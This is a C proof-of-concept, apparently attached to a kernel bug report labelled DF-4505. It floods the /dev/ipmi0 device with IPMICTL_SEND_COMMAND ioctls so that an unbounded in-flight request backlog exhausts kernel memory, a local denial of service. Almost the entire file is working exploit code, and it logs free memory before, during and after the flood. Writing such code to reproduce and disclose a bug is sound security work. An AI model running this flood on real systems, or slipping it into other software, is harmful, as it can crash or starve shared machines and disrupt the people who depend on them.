/*
 * DF-4505 PoC: unbounded in-flight ipmi_request backlog via
 * IPMICTL_SEND_COMMAND flood -> kernel kmem exhaustion (local DoS).
 *
 * The ioctl enqueues each request asynchronously (ipmi.c:401-416);
 * a single kthread (kcs_loop) drains them serially. There is no cap
 * on the per-device outstanding request count, and each request
 * kmallocs sizeof(struct ipmi_request) + data_len + IPMI_MAX_RX bytes.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <sys/ipmi.h>

static unsigned long
freepages(void)
{
	unsigned long v = 0;
	size_t len = sizeof(v);

	if (sysctlbyname("vm.stats.vm.v_free_count", &v, &len, NULL, 0) != 0)
		return (unsigned long)-1;
	return v;
}

static void
dumpmem(const char *tag)
{
	printf("%-28s v_free_count = %lu pages (%lu MB)\n", tag,
	    freepages(), freepages() * (unsigned long)getpagesize() / 1024 / 1024);
	fflush(stdout);
}

int
main(int argc, char **argv)
{
	struct ipmi_req req;
	struct ipmi_system_interface_addr saddr;
	unsigned char data[65536];
	long n, i, datalen;
	int fd, error, page = getpagesize();

	if (argc < 3) {
		fprintf(stderr, "usage: %s <count> <datalen>\n", argv[0]);
		exit(2);
	}
	n = atol(argv[1]);
	datalen = atol(argv[2]);
	if (datalen < 0 || datalen > 65535)
		datalen = 0;

	memset(data, 0x41, sizeof(data));
	memset(&saddr, 0, sizeof(saddr));
	saddr.addr_type = IPMI_SYSTEM_INTERFACE_ADDR_TYPE;
	saddr.channel = IPMI_BMC_CHANNEL;

	fd = open("/dev/ipmi0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open /dev/ipmi0: %s\n", strerror(errno));
		exit(1);
	}
	printf("fd=%d pid=%d requests=%ld datalen=%ld page=%d\n",
	    fd, getpid(), n, datalen, page);
	dumpmem("baseline");

	for (i = 0; i < n; i++) {
		memset(&req, 0, sizeof(req));
		req.addr = (unsigned char *)&saddr;
		req.addr_len = sizeof(saddr);
		req.msgid = i;
		req.msg.netfn = IPMI_APP_REQUEST;
		req.msg.cmd = IPMI_GET_DEVICE_ID;
		req.msg.data_len = datalen;
		req.msg.data = data;

		error = ioctl(fd, IPMICTL_SEND_COMMAND, &req);
		if (error != 0) {
			printf("send %ld failed: %s\n", i, strerror(errno));
			break;
		}
		if ((i % 5000) == 4999) {
			printf("sent %ld\n", i + 1);
			dumpmem("  mid-flood");
		}
	}
	printf("flood done at i=%ld (error=%d errno=%d)\n", i, error, errno);
	dumpmem("after flood (fd open)");
	sleep(20);
	dumpmem("after 20s idle (fd open)");
	close(fd);
	printf("fd closed; dtor purges backlog\n");
	sleep(10);
	dumpmem("after close+10s");
	return 0;
}
